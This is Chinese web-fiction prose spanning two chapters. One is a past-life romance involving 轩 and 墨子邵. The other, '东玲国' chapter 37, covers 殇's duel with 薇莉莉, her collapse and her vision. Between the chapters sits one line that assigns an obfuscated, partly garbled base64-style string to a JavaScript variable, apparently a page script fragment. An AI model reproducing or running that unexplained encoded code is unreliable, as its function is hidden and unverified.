轩醒过来后,她面前那块石碑也便失去的光彩,变得黯淡无光。一道巨大的血盟法阵随即逐渐崩解,被困其中的轩得以解放。此时此刻,轩头上的龙角变得比以往要大上一些,而且其表面上多了很多精美的纹路;她手背上的龙鳞色泽变得鲜艳许多,越来越有古代圣龙的色彩了。看过刚刚的那一切的轩,此时心里五味杂陈。前世的姻缘,今世的爱慕,两条时间线相交于现在,宿命之中的相遇注将到来。 前世的那些遭遇让她难以忘怀,那份在往生神树下的约定让她牢记于心。她想要再续前世的姻缘,传承那份持续了三百年的诺言能够兑现。想到此处,轩轻声说道: “墨子邵......你今又在何方呢?” 这时候,轩感觉自己手心处一阵温暖,她抬起手来张开手指,发现一枚发光的铜钱就盛放在她手心中。她拿起这枚铜钱仔细一看,看到“竭智尽忠”的成语刻在铜钱之上。她立马认出了这枚铜钱,这就是三百年前的那串五线钱中的一枚,是墨南祥交给她前世的那枚。一阵暖意涌上她的心头,她对着这枚铜钱露出了感动的笑容。她笑着轻声说道: “墨子邵,这是我们的缘分。我相信你一定还活着,你肯定在世界的某一角徘徊着呢。我等你回来!” 血盟法阵完全崩解之时,轩也变回了原先的样子。在她的后背的皮肤上出现了一丁点圣龙图腾,来自圣龙一小部分力量汇聚在了她的身上。她本人对此一点察觉都没有。 见血盟法阵崩解,在一旁的阳急忙跑来。阳很急切地问轩: “轩姐,你没事吧?” 轩回过头来,笑着回应阳: “我没事。” 阳叹了口气,心中悬着的石头落了地。阳对轩说: “刚刚可吓死我了。你碰完那块石碑之后,那怪异的阵法就将我击飞出去,把你牢牢地囚禁在其中。看你在里面变了样子,我还以为那道阵法是前人留下的杀阵呢!所幸你人没事。” 轩冲她笑了笑,说道: “别那么担心,我强得很呢。” “不行的,轩姐。万事都需要谨慎,万一出意外了怎么办?” “好啦好啦,我知道了。” “对了,轩姐,那个法阵是不是让你看到什么了?我看你的眼睛从黑色变成红色了。” “哦?是吗。我的确是看到了很多东西,都是有关我的前世的。” “前世?!能说给我听听吗?” “可以。等回去了我找时间跟你说。” 说完这些,轩和阳离开后山的龙身山洞,回到了神山的大院中。回到大院后,长老向轩问起了此事。轩将发生的情况大致给长老描述了一下。长老听到她的遭遇,被惊得目瞪口呆。长老告诉她: “那是龙轩帝的爷爷当年留在这里的阵法,只有血脉纯洁的轩辕家后裔才能激活那阵法!你激活了它,就意味着你是真的轩辕家后裔,是能继承龙脉的人。善哉善哉......” 长老的这番话让轩更加肯定了自己的身份。这时,轩想到一个问题,她问长老: “您知道当初在恒古国灭亡后,龙轩帝的孩子去哪里了吗?” 长老摸了摸自己的胡须,回想起了自己曾听闻到的那个故事。长老思索片刻,告诉轩: “龙轩帝之女轩辕柒凌后来成了太玄国第一任皇帝喾的养女,再后来轩辕柒凌与一位商人家的公子相爱,其子嗣成了富家子弟。再后来一代接一代的延续,最后到轩辕杜兰这一代之后就杳无音讯了。据说是在感染潮之中殒命了。对了!还有轩辕杜兰的爸爸是一个叫修的老仙人。” 听完长老的话,轩仍有些好奇,她追问道: “还有其他的吗?详细一些的。” 长老摸了摸胡子,思考片刻,又想起些东西。长老继续说道: “据说轩辕杜兰已经是成了家,有两个孩子,一男一女。男的好像叫轩辕天芒,女的好像叫轩辕天暮。据说他的儿子聪明,女儿有点傻。他曾在自己的两个孩子出生后不久来这里询过大师,大师说他的女儿能成一番大事业,而他的儿子则只能平庸的活着。再后来......我就不知道了。” 听长老这么说,轩回想起了小时候见到养父时养父说的那番话。 “孩子你叫啥名?别支支吾吾的,我听不清楚。说清楚一点,孩子。什么?你叫轩?好的好的,轩宝贝,别哭了。你爸爸妈妈在哪里?我带你找他们去......” 想到这些,轩对自己的身世有了明确的了解。 到了今天晚些的时候...... 墨子邵安装完次时代的新型核心后,换上一身赛博朋克风的改造战斗服,然后拿起龙雀锏来到了某座小山的山巅。他走上山巅的观景台,凝望着一抹美丽的日落。这时候,旅者瞬移到他的身旁。旅者靠在观景台的围栏上,笑着问墨子邵: “呦,做好准备了?” 墨子邵很自信地回答他: “对,做好准备了。” 旅者看了天边的夕阳一眼,然后转过头对他说: “你看起来就跟你的上辈子一样,像个孤傲的剑客。” 一听他这么说,墨子邵笑着回答道: “那就是缘分了!不过我想的可不是复仇。” “那挺不错的,不是吗?人这一生有的东西本来就不多,再去失去不就是一无所有了?” “所言极是。——对了,你说你能穿越时间是吗?” “对,怎么了?” “我前世的那段故事你看到过吗?” “嘿咻!那个啊,我反复看了好几遍呢。闲来无事,回顾历史也是件不错的事。怎么了?你有什么想问的吗?” “你能告诉我邱天娇被逐出家门后怎么样了吗?” “可以,让我想想啊.......邱天娇那时候的确是跑了,但没跑多久,又悄悄回来了。她放不下墨南祥,因为她是真的爱墨南祥。但回来后她没找到墨南祥的人影,于是她急忙就去了宗门大院。她见到宗门被血洗,还见到自己父亲的尸体。她抱着她父亲的尸体痛哭,为宗门所有遇难者感到悲痛。” “后来呢?” “之后她就永远地离开了宗门,再也没回来过一次。离开宗门后的她,并没有放弃去寻找墨南祥。她想与墨南祥有个正式的告别,但一直找不到机会。直到太玄国国旗高高升起的那一天,她才知道了墨南祥与龙轩帝的爱情故事。你猜怎么着?她知道这故事的时候没有一点恨墨南祥,反而还在心里祝福着他们两个。她对墨南祥的爱已经超越了人间的一切束缚,那是最崇高的爱意,是不计一切的爱!这份爱,现在这个社会中已经看不到了。勾心斗角与利益争斗早已限制了这份爱的度量,让这段佳话再难现身于世间。” “如果没有那场复仇,也许最终的结局还能更好些。” “那倒确实啊......墨子邵,你猜怎么着?她后来给自己的两个孩子改了姓,都改姓了墨。她最后是自己一人带着两个孩子生活,辛苦地把两个孩子抚养长大。她告诫自己的孩子:不能因仇恨而做傻事,不能去记恨他们的父亲。接着,一代接一代的传承,最后到了现在,就有了你的存在。” “你说真的?!” “我看过历史,看过过去的事,我所说的都是事实。” “原来如此......” “你有何感想啊?墨子邵。” “没啥想说的。” “真的吗?” “我......我想在这一世不要重蹈覆辙,好好对待身边的每一个人。守护好家,守护好国,守护好我想守护的一切,是我注定要坚守的信念!上辈子亏欠她的,我这辈子一定会弥补的......” “哈哈哈,你啊,太单纯了。就跟你的上辈子一样,是个愣头小子,脑子是多核单线程的。哎......那倒也好,这样的人绝对忠诚,绝对有毅力。要是那个姑娘嫁给了你,那可真是幸福死了。” 墨子邵点了点头。旅者见了,拍了拍墨子邵的肩膀,笑着说道: “你该知道那个姑娘是谁吧?墨先生。” 墨子邵看了他一眼,摇摇头露出笑容,很坦然地回答道: “当然知道了。” 旅者叹了口气,告诉墨子邵: “你的道路还很漫长啊。想要改写结局,需要你付出的努力很多啊。你有这个决心吗?” “肯定是有!我的决心像火焰一样。” 墨子邵即答道。听他这么回答,旅者笑了笑,靠着围栏与他一起欣赏起了日落。这时,墨子邵身上的吊坠发出了淡淡的幽光,轩身上的吊坠也同样发出了光。 ....... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十七话:血浸玫瑰 通历43年8月1日上午,殇正在东城之眼里闲逛,突然手机响了。他拿出手机一看,发现是一个陌生的号码打来的电话。殇毫不犹豫地接通了过去,紧接着电话那头传出了一个暴躁女人的声音。 “喂!你是殇吗?” 殇思索了一下,回答道: “对,我是。” 电话那头的人问他: “你是不是忘了什么?殇!” 殇有些疑惑,他貌似最近没答应过别人什么事。殇回答道: “什么东西?” 电话那头沉默了片刻,突然大声说道: “卧槽!你这家伙是健忘症吗!我妹妹查尔拉才跟你说完几天啊,你就忘了!” 听她这么一说,殇想起了那件事。殇尬笑着对电话那头说: “抱歉哈!我给忘了。” “他奶奶的!我等你好半个多月了!还以为你害怕不敢来了。” “那不会,我无所畏惧。” “嗯?听你这么说,你很勇哦。” “算是吧。” “那行,我在之前约定的时轮广场等你。下午一点之前,赶紧给我过来!希望你别再给它忘了!” “等等,先别挂着!” “你有啥事吗?” “你啥时候到?” “反正很快就对了!” 之后电话挂断。殇看着自己的手机,思考了一会。考虑过后,他还是觉得去赴约比较合适些,正好他也想认识认识血浸玫瑰这个人物。他离开了东城之眼,向着之前约定的地方赶去。 中午时分,殇赶到了时轮广场。与他一起到来的,还有伊和查尔拉。见到伊后,殇好奇地问道: “伊?你怎么和她一起过来了?” 伊解释道: “查尔拉给我打了个电话,说想请我去她姐家玩。然后又说要带我去处理点事,所以我就到了这里。” 殇看了一眼伊身旁的查尔拉,他嗅到了一丝不妙的气息。查尔拉见殇注视自己,急忙对殇解释道: “殇哥,我没别的意思,我就拉她来看看你和大姐头的战斗。” 一旁的伊听她这么说,好奇地问道: “战斗?” 这时候,广场的另一头出现沉重的脚步声。殇转头看去,看到一个拎着锯齿大刀的女人出现在广场的另一头,她身旁还跟着一个蓝头发的绅士。两人的走路方式体现出了档次上的差距,红蓝的搭配总有种说不出的感觉,总之很搭。等那个女人走近,殇仔细打量了她一番。 她的个子很高挑,比殇还要高出一点。她有些瘦,还有些强壮,殇甚至能看出她手臂上的肌肉纹路,这颠覆了殇对女性的认知。她的长发如玫瑰一样红得诱人,又如鲜血一样亮且有光泽。她的发型非常有个性,一点点的狂野之中带有独特的美,发型主体是高马尾,看着显得既利整又凸显个性。她的皮肤黄中偏白,其中悄悄隐藏着生活的沧桑。 她的五官很俊秀,眉毛偏直,又稍有些弯曲,像是文人一笔画下的墨;她的眼睛像清池,瞳色是深棕,像沉入清池的砂石,星空能在其上倒映,美轮美奂之间显得孤独而又妖艳。她的穿着很有个性,上身一件摩托车党的大衣加黑色轻薄运动衫,下身一条特意改过的黑色猎人长裤,脚穿一双有手绘风装饰的运动鞋。 她的站姿甚是霸气,看着就让人不禁寒毛直竖,嘴里叼着的一根烟更能加剧这点。她的表情很是严肃,见不到一点笑意。她的眼神犀利无比,像是利箭般锐利,光是眼神她就能将一个人给吓住,更别说她拎着的那把锯齿大刀了。不过她此时的气色貌似有些差,她的脸稍稍有些发白,额头上的十几根垂发是与她发色主色调截然不同的雪白。 她也打量了殇一番,她并没有看到殇身上有什么亮点。她揣测起殇来,总感觉殇是个强大的人。她边揣测,边一脸疑惑地问殇: “你就是大名鼎鼎的殇先生?” 殇从容一笑,回应道: “对,我就是。” 她的目光突然聚焦到了伊的身上,她侧走一步去看伊。在见到伊的瞬间,她的表情瞬变,像个害羞的孩子一样脸红了。伊的长相深深地吸引到了她的目光,她被伊给迷住了。她慢慢向着伊走来,直接无视了刚刚还在跟她说着话的殇。殇见她无视自己,一脸疑惑的同时露出不解的笑容。这时,那个蓝发男人笑着告诉殇: “姐的个性很独特,你要谅解一番,每个人都有每个人的脾气的。” 殇听他这么说,猜他知道些什么,于是凑到其身前与其聊天。那人见殇过来,丝毫没有觉得害怕,反而露出从容的笑容去接待。他很自然地向殇介绍起了薇莉莉。 此时,薇莉莉走到伊的面前,很细致地打量起了伊。薇莉莉的气场让伊感觉到了一丝恐惧,但看到对方那痴迷的眼神,她的这份恐惧就烟消云散了。薇莉莉打量完伊,露出一抹甜甜的笑,问伊: “妹子,你的名字叫伊对吗?” 伊也露出笑容,回答道: “对。你好呀,你叫什么名字?” 薇莉莉很郑重地向伊介绍自己。她本来的那种威武的样子此刻荡然无存,现在的她变得就跟淑女一样优雅。 “我叫薇莉莉,薇是蔷薇的薇,莉莉是茉莉花的莉。很高新认识你,伊大妹子。” 见她这么客气,伊笑着回应道: “我也很高兴认识你。” “你今天有时间吗?去我家吃饭怎么样啊?” “啊?刚见面才不久,这样不好吧......” “没事的!伊。我们斯特迪罗家族很热情好客的,你来我家没事的。” (诶!你说她身高182厘米?!这是女人该有的身高吗?) 伊见她这么客气,不好意思白去,于是提议给她拿点东西。伊说: “那我得给你拿点什么东西呀,白去蹭一顿饭不好的。” 她很直爽地拒绝了伊的好意,并很坦然对伊说: “没事,我不在乎那些钱。只要你能来,我就够开心的了。” (卧槽,一个人打一条街?!还是在三年前?) 伊这时沉默,思考要不要去。伊讷讷半晌不说话,陷入深思。她见伊沉默,便主动开口问伊: “怎么样?有没有兴趣啊?你要是来了,我们还能去看个电影,逛逛街什么的。要是玩累了,你可以直接睡在我家,都没问题的。我不介意你在我家过夜。” 她用期待的眼神看着伊,看得伊有些害羞了。她的主动让伊猝不及防,第一次面对这种情况的伊有些不知所措。她的热情逐渐将伊的心拉向她那边,伊渐渐有些改变了最初的想法。 伊心想: “这位红头发姐姐怎么说话橘里橘气的?是不是喜欢上我了?看她那脸红的样子,好像真的是对我心动了!怎么办?” 思索过后,伊做出了决定。伊笑着回应她: “可......可以呀。” 见伊答应,她露出高兴的笑容,心里不知是怎样的窃喜。她大声对伊说: “那就这样说定了!等我跟你的朋友打完,你就去我家玩,我定会好好招待你的!” 说完,薇莉莉就转过身去看殇。她的表情瞬间变得严肃起来,顿时间全身上下散发出杀气。她慢慢走向了殇,边走边去想接下来的战斗。 见她姐渐渐走远,查尔拉悄悄在伊耳旁说道: “诶,我偷偷跟你说啊,伊。大姐头啊,相中你了,想跟你成闺蜜关系。你别跟大姐头较劲,态度软一点,大姐头的脾气很爆的!” 伊也悄悄在查尔拉耳边说道: “我看得出来,查尔拉。我知道该怎么去应对,你不用担心。还有,能交一个这么有安全感的朋友也挺好哒!” 查尔拉捂住心口,表情变得痛苦了一些。她说: “哎!扎心了,朋友......” 伊见她这么表情,担心地询问道: “怎么了?查尔拉。” 查尔拉摇了摇头,说: “没事没事.......” (腿长心好又有安全感,还超能打......这样的女人怎能存在于这个世界上呢?!你没跟我开玩笑吧。) 见薇莉莉走过来了,那个蓝发男人瞬间切换话题,聊起了今天的天气。殇一听他变话题,就猜薇莉莉来了。殇一个转身,看到她已经不知不觉出现在了自己身后。殇问她: “咱们两个怎么比试啊?” 她拿下嘴里的烟,轻轻吐了口烟,然后问殇: “百般武艺之中你擅长什么?” 殇抿嘴一笑,露出自信的笑容,回答道: “我每样都会一点点。” 她吸了口手中的烟,轻轻吐了口烟,然后一把扔掉。她对殇说: “既然你每样都会,那么就跟我比比格斗吧。” 殇笑了笑,这方面可是他的擅长。殇说: “那好。” 殇后撤三步,摆出战斗的架势,并笑着对她说: “血浸玫瑰,让我瞧瞧。” 她见了,将手中的大刀插在地面,然后也摆出了战斗的架势。她一脸严肃地对殇说: “别磨磨叽叽跟个老娘们似的,出手吧。” 这时候,殇心想: “对面是个女孩子,我必须得放点河,不然给人打坏可咋整!” 殇迟迟不出手,静观薇莉莉的一举一动。薇莉莉见了,表情逐渐变得不耐烦起来。她的耐心很快就被殇消磨殆尽了。她握紧拳头,一个冲刺拳向殇打来。殇灵活地一个侧闪躲开。在凑近了殇后,她连打四五拳,殇用功夫全数招教。打完这几拳,她以极快地速度对着殇就是一记正蹬。殇反应不及,被蹬得后撤三步,又踉跄了几步。见势,她一个健步跃起,前空翻一周,对着殇就是猛地一记下劈腿。殇一个后撤步迅速躲开,她这一下打了空。这一下让殇真正见识到了薇莉莉的实力,殇有些后悔过于轻敌了。 殇心里: “看来那个蓝莓说的没错,血浸玫瑰果真不是一般人。这战斗力放在我这边,估摸能顶好几百个伊。” 殇稍稍认真起来了。在接下来与薇莉莉的比试之中,薇莉莉用出了更多让他眼前一亮的招式。例如被殇扫腿击倒了能撑地倒立转体回旋踢起身、被殇骤雨打击压制时疾步后撤接前冲跃起空中三连踢反客为主、在攻击时候给殇一个抱摔把殇扔出去的同时又上前双腿交替三连重踢等。殇在比试中总体上出于被压制的那一方。殇一直在“挠痒”式攻击和招架她的攻击,因为他在试探薇莉莉的实力如何。 殇对她的评价随着比试的进行而逐步增加,殇愈发觉得薇莉莉像古代的女武神。打着打着,薇莉莉的额头上流下了许多滴汗水,同时开始口喘粗气。用出了那么多的招式,她逐渐感觉疲累。同时,她也发现了问题:论她怎么暴打殇,殇愣是一点事都没有。在踢完殇最后一脚后,她累得停下了战斗。 她叉着腰,喘着粗气,已然没了继续战斗的意思。她质问殇: “你妈是生了个块钢是吗?!怎么这么半天都打不动你?!而且,你他妈的精力也太旺盛了!打架打了这么久连一点累的样子都没有的吗?你是吃核燃料长大的吧!” 殇背起手来,很自然地告诉她: “大妹子,我一直都没有用出杀招,一直在试探你的实力。你怎么这么快就累了?真的是稍有些逊色,不过比起其他人而言,你已经足够优秀。” 她瞬间恢复到战斗时的状态,似乎是殇的话刺激到了她的自尊心。她有些不服输地大声告诉殇: “你他妈的瞧不起谁呢?!吃我一拳!” 说完,她握紧拳头,一个冲刺拳向殇打来。殇没有闪躲,因为这次的速度比开始时要慢了不少。殇迅速伸出手,嗖的一下子握住了她的拳头,一下子让她整个人都停了下来。她瞬间跳起来对殇连踢两脚,殇迅速抓住她的脚踝,然后轻轻地往前一扔,她顺势摔倒在了地面上。她快速起身,正要继续攻击,接下来眼前的一切让她本能地呆住了。殇握紧拳头,一个金色的齿轮状光环套在殇的手腕上。 殇: “天溯五芒铳!” 殇一拳打出,金色的能量从殇的拳头上爆炸式喷涌而出,在极短的时间汇聚成一道威力巨大的射线,顷刻间贯穿七米之内的一切事物,在地面上掀起巨大的气浪。这一招殇是在与自己亡妻相见后突然觉醒出来的,其中有银幻之梦极大的帮助。殇的这一招是对着一旁的空气打出的,并未伤及薇莉莉和周围人分毫。打出这一拳,殇的额头上流下了几滴汗水,这一拳消耗了他的体力与他体内极多的核心能量。 见到这一拳,薇莉莉目瞪口呆,周围的人都瞠目结舌,就唯独伊最淡定。殇背起手来,笑着问薇莉莉: “大妹子,你还要打吗?” 薇莉莉双手抱拳,她对殇是心服口服。她对殇说: “不了,不了。你牛逼!是我输了......” 殇摇了摇头,笑着告诉她: “输赢是浮云。大妹子,你是个既漂亮又能打的姑娘,是人间不可多得的一束玫瑰。你这样的对手很不错。” 薇莉莉听殇夸自己,抱起膀来装起了高冷,表示自己不在乎殇的夸赞。但她心里还是很高兴的,毕竟能遇到这样一位对手本身就是一件美事,再被对手夸赞,那就更是件美事了。她一脸严肃地对殇说: “少拍马屁!赢了就是赢了,说那么多干什么。” 殇像位长者一样笑了笑,薇莉莉的行为在他眼中像个可爱的孩子。殇问薇莉莉: “那么比试完,接下来干什么?” 薇莉莉想了一下,而后很热情地说道: “你和伊是我的客人,去我家的烧烤店刷点串子,怎么样?” 听她这么说,殇很爽快地答应了。之后,薇莉莉领着殇一行人去到她所经营的烧烤店。到了店里,殇和伊发现这家店的规模要比周边要大上许多,而且其中的装修风格与众不同;墙壁不是清一色的简朴,而是略带艺术气息的多色混搭。殇和伊注意到这里的店员都是清一色的红头发,这不禁引起了他们的好奇。到了柜台前,柜台里的员工们热情欢迎殇他们。薇莉莉对这些员工笑着说道: “姑娘们!今天有客人到来,拿出斯特迪罗家族的热情来!” 那些店员即答道: “好嘞!大姐。” 跟这些员工说完话,薇莉莉领着殇他们来到了预先准备好的座位上。她简单客气几句,随即众人坐下。坐下后,薇莉莉对着一旁喊道: “曼!上菜。” “好的,姐。” 在门口站着的一个穿红色西装的红发男子应答道。他立马拿着菜单跑了过来,然后客客气气地对薇莉莉她们说: “姐,要点什么?” 薇莉莉一把揪着他的耳朵,质问道: “昨天刚跟你说完,又忘了?” 他摇摇头,说道: “疼疼疼......没忘,没忘。要叫客官。” 薇莉莉松开手,抱起膀来命令道: “好,重说一次。” 他尬笑着点了点头,咳了两声,神情变得庄重起来。他用低沉的嗓音,郑重地对薇莉莉她们说: “亲爱的客官,要点什么?” 薇莉莉点了点头,像是对他的认可。他见薇莉莉这样,立马将菜单轻轻地放在桌子上,然后在一旁拿出小本准备记录。薇莉莉拿起菜单扫了一眼就立马放下,然后轻轻一推,推到了伊的面前。薇莉莉指着菜单,对伊说: “想吃什么随便点。” 随后她转头对曼说: “账记我头上。” 曼点了点头,答应道: “好的,姐。” 伊拿起菜单,见到上面的标价之后,感觉太奢侈,就没点太多的东西。殇拿起菜单用眼睛扫了一圈,而后问薇莉莉: “你说随便点是吗?” 薇莉莉很大方地点点头,说了声嗯。于是乎殇就要了八个种类,总计数量七十多个的串子。听到殇要的那么多,薇莉莉眉头一皱,表情之中多了几分不满。她强颜欢笑,问殇: “这么多你吃的完吗?” 殇很淡定地回答道: “没事,吃不了可以打包。我回家当夜宵去。” 薇莉莉有种想骂殇的冲动,但看在伊的面子上,她选择忍了。她继续强颜欢笑,同时调侃殇道: “你这人可太实诚了。” 殇自信一笑,说道: “那倒确实,我也是这么认为的。” 之后薇莉莉她们各自又点了些饮料和啤酒。除了伊以外的人要的都是啤酒,就伊一个人要了饮料。薇莉莉想拉着伊一起喝一顿,但伊以不想喝的理由拒绝了。等所有的东西上齐之后,薇莉莉她们就开动了。 在吃饭的时候,殇看着那些红头发的员工,很好奇他们为什么都是红头发的。殇有些百思不得其解,于是问薇莉莉: “对了,薇莉莉。你们这里的员工怎么都是红头发的?” 薇莉莉喝了一口啤酒,笑着解释道: “这家店是我们家族所属的,这里的人自然是我们家族的人。哦,对了,你可能不知道吧,斯特迪罗家族的本族人都是像我一样的天生红发。” 听完她的解释,殇若有所思地点了点头。殇的心里此刻又冒出了些问题,殇追问道: “你能介绍下斯特迪罗家族吗?我很好奇你们家族的历史。” 薇莉莉疑惑地挑了挑眉,接着抿了一口啤酒,继续给殇解释道: “我们斯特迪罗家族是盘踞在东城长达四百年,其主族的人都是来自一个叫铆犽天真的种族的人。我们这一族的人数量十分稀少,全世界也不够一万人,也就几千人的样子。我们这一族有着世界之花的称号!我们族的姑娘温柔漂亮还大方!小伙聪明能干还很帅!” 听她说到这里,殇忍不住好奇地问: “那你是......” 薇莉莉的表情变得严肃起来,她狠狠地瞪了殇一眼。这一眼给殇吓到了,殇立马闭嘴了。薇莉莉轻轻地摇了摇头,然后继续说道: “我们族的特点就两种,高个子和红头发。像我这样的,属于是族内的大高个。我们族的男的比我还高呢!就像瑞恩.......” 她顿了一下,没继续说下去,她似乎是想到了什么伤心事。这时候殇注意到,一旁喝的正开心的查尔拉突然变得严肃起来,眼神之中有着几分怜悯与惋惜。片刻之后,薇莉莉咳嗽两声,接着继续说道: “没事。你知道我们族的人都很高就对了。这世上有句俗语:‘找对象就找红发人,一保一个心上人。’这就是夸我们族的。还有什么,‘天生红发战士魂,长大独斗山中虎。’这也是夸我们族的。” 听完这些,殇对斯特迪罗家族多少有了些了解。见殇有些明白了,薇莉莉翘着下巴问殇: “怎样样?我们家族够厉害吧!” 殇对薇莉莉竖起大拇指,同时点了点头。殇很尊敬地说道: “哦,厉害是厉害!但......为什么你们家族名不叫铆犽天真呢?” 薇莉莉想了一下,给殇解释道: “这个吗......据老妈说是我们族的一位民族英雄叫斯特迪罗,为了纪念这位英雄才叫得这个名字。” “哦。” 介绍完自己的家族,薇莉莉心满意足地喝了一口啤酒。这时她在啤酒之中尝到了一丝血的味道。她放下手中的啤酒杯,皱着眉说道: “诶?这酒怎么有股血味呢?” 听她这么说,在一旁的星北空的眼神顿时变得犀利起来,他不由得眉头一皱,感觉到了不妙。众人的目光都聚集到了她身上,她感觉有些奇怪,正要说点什么,突然熟悉的痛感再度袭来。 这时候,薇莉莉突然鼻血直流,整个人开始发昏。她一把捂住了自己的鼻子,她的表情变得痛苦起来。她感觉胸闷气短、呼吸急促,她眼中的世界正在天旋地转。她的视线逐渐变得朦胧,耳边能听到的声音逐渐模糊起来。 “姐!姐!不好!姐又发病了!查尔拉,快把生命体信号检测器拿来!” “好!” “怎么回事?!薇莉莉她怎么了?” “来不及解释了!殇,帮我开路!” “明白!” 她突然觉得心口一痛,听到了呲的一声,是高级药剂完成注射时的放弃声。片刻之后,她感觉自己身体离开了地面,好像是被人抱了起来。她眼前的景象非常模糊,她只能依稀看清一张模糊的脸与一撮蓝色头发。她想说些什么,但她此时的嗓子就跟哑了一般,说不出话来。 “宇普西龙一型生命维持剂注射完毕,应该能让姐撑到医院。” “北子哥,大姐头的生命体信号在频繁波动!怎么办?” “查尔拉,我能帮上忙!我的核心能量能治疗薇莉莉。” “真的?!赶快!” 一阵剧痛遍及她的全身,她感觉头痛欲裂。她痛苦地大口喘着气,求生的意识在此刻爆发出来。剧痛过后,她感觉到体内有一股温暖的能量在游荡。那股能量治愈着她,让她的病状减轻了一半。过了一会,她的意识渐渐模糊,她对周围的感知能力快速消失。她最后只能听到非常模糊的说话声,看到一团形如马赛克一样的画面。她的意识很快消散。 一颗红色的灵魂化成一团烈火,发出了微弱的光芒。在黑暗的归墟之中,一个身着连衣裙的红发女孩从地面上爬起。那颗红色的灵魂围绕在她的身旁,为她照亮前行的道路。 一阵冰冷刺骨的寒风呼啸着吹来,她不禁抱膀取暖,然后顶着寒风前进。她脚下的道路是冰冷的黑色石砖铺成的,她走起来格外冻脚。寒冷逐渐迫使她的步伐变慢,对黑暗的恐惧又使她加快步伐。 这时候,黑暗深处响起了一个武士低沉的嗓音。 “do you want great power? children.(你想要力量吗?孩子。)” 她听了后非常害怕,不敢去回应,于是继续忍着寒冷前进。她瘦小的身躯无法抵挡寒冷,被冻得瑟瑟发抖。她身上轻薄的连衣裙在刺骨的寒风面前显得十分无力,只能遮体不能挡风。 见她不回应自己,那个武士发出了诡异的笑声。那笑声加剧了她心中的恐惧,让她的步伐又加快了一些。这时,那个武士告诉她: “Lovely child, keep going and you'll see me soon. I will give you warmth, and I will give you the strength to never fear the cold!(可爱的孩子,继续前进下去,你很快就能见到我。我会给予你温暖,我会让你获得永远不惧怕寒冷的力量!)” 她走了一会,遇到了一扇门。她思考片刻,推开门继续前进。走过门,这个孩子变成了二十几岁的年轻人,她身上的连衣裙变得更大了一些。她继续前进,路上的一切随着她的步伐开始改变。无数根漆黑色锁链从天上垂落而下,彼此交错排列,连接天空与地面。她脚下的地面逐渐出现了裂痕,像薄雾一样的灵魂从裂缝中飘出。 那个武士对她说: “Feel the call from the void! don't you desire power?(感受来自虚空的呼唤吧!你难道不渴望力量吗?)” 刷的一下,归墟之中出现了一排排发着红光的十字架。十字架错综复杂地排列在地面上,环绕着那些锁链。一团团颜色各异的火焰在十字架上燃烧,那是一颗颗的灵魂在绽放。 那个武士对她说: “I can fulfill your wish and obey my will.(我能完成你的愿望,顺从我的意志吧。)” 不知不觉,她走进了一个洞穴之中。洞穴之中本是一片漆黑,在她进入后瞬间明亮了起来。洞穴墙壁上暗淡的壁画瞬间变得耀眼起来,形似电路板一样,其中穿插着许多个数字0。诡异的红光照亮整个洞穴,那颗灵魂的色彩逐渐被隐藏起来。 这时候,那个武士质问她: “don't you need strength to protect your family, friends and everything you love? don't hesitate, your life is about to die. my power can keep you alive!(你的家人、朋友、你所爱的一切,难道不需要力量来守护吗?不要再犹豫不决,你的生命即将消逝。我的力量能让你活下去!)” 这句话说出后,洞穴墙壁上的电路板瞬间变成了一张张她所熟悉的照片。全家福、与男友的合照、东城帮的合影......那些都是她所珍视的回忆。片刻之后,那些照片都变成了一个个十字架标志,象征逝去。 那个武士问她: “don't you have a dream to chase? It would be a sad thing to end with death!(你不还有梦要追吗?若是以死亡为结尾,那多是一件悲伤的事啊!)” 她走了几步,突然停下。她的前方是一个巨大的深坑,深坑下是深不见底的深渊与虚空。她害怕了,不再敢前进。这时候,一团红色的烟雾出现在她对面的深坑边缘处。一个失去了四肢的机械巨像出现在红雾之中,紧随着洞穴内壁全被刻上了十字架的标志。那个巨像对她说: “Jump! children. You will gain unprecedented power!(跳下去吧!孩子。你将获得前所未有的力量!)” 她摇头拒绝了,紧接着就往后退,一个转身向着洞外跑去。巨像见她这样,没有去挽留,就看着她后退离开。她拼命地奔跑,无数根漆黑的锁链就在她身后追逐。没等跑出去多远,她的手臂就被锁链牢牢绑住。她一个重心不稳跪倒在地面上,其他锁链趁虚而入,将她牢牢地捆绑住。她趴在地面上,奋力挣扎,可终究摆脱不了这牢固的锁链。 此时那颗红色的灵魂再次现身,为她驱散周围的黑暗。她慢慢爬起,站起身后她看到她的前方站着她一直想再度见到的人,那些人正对着她挥手告别。她伸出手要去挽留,但那些人无情地回头,选择了离开。她不甘他们离开,就拼了命地去追他们。红色灵魂化作明亮的炬火,在她的前方为她燃烧着,发光照亮她前进的路,发热温暖她寒冷的身躯。 她奋力奔跑,可终究是留不住他们。一阵猛烈的寒风迎面吹来,吹起一阵黑色的雾气。他们的身影在雾中逐渐模糊,她见了就更用力地去奔跑,害怕他们的离开。突然,她摔了一跤。她准备起身继续去追,但许多根锁链将她牢牢锁住,让她趴倒在地上动弹不得。她眼睁睁地看着他们消失在雾中,最后什么也不留。她愤怒地锤击地面,不甘的泪水很快遍布她的脸。 那颗红色灵魂还在燃烧,可它发出的光却愈发暗淡了。 突然间,她来到了一个巨大的殿堂的中心。殿堂中心有着一颗巨大的树,树顶上有着一颗巨大的红心。她正好奇这里的一切,突然看到另一个自己出现在她的对面。那个她的脸进行了赛博改造,有独特的红光眼纹。另一个她对她说: “不要再犹豫不决了,薇莉莉。” 她好奇地问道: “你是......我?” 另一个她质问她: “你还没有意识到今天的境地是怎么来的吗?” 她无言以对,是少有的沉默。 “唔......” 另一个她告诉她: “你还是不够强大。泰尔斯、瑞恩......他们两个是你最爱的人,你的师傅和你的男朋友。若不是你太弱小,泰尔斯怎么可能会死在那群协会渣渣手上?瑞恩又怎么会在你面前被橙色收尾人活活打死呢?” 这些话触碰到了她心中的伤口。她大声问另一个自己: “你到底想说什么?!” 另一个她转过身去背对着她,接着对她解释道: “我只不过想告诉你,若你再这样弱小下去,你恐怕连身边任何一个人都守护不了。更何况你现在正身处窘境。” 她此刻沉默了。另一个她转过头看了她一眼,又转过头去,然后语重心长地说道: “你会做出正确选择的那一天的,希望那时不是在你后悔的时候。” 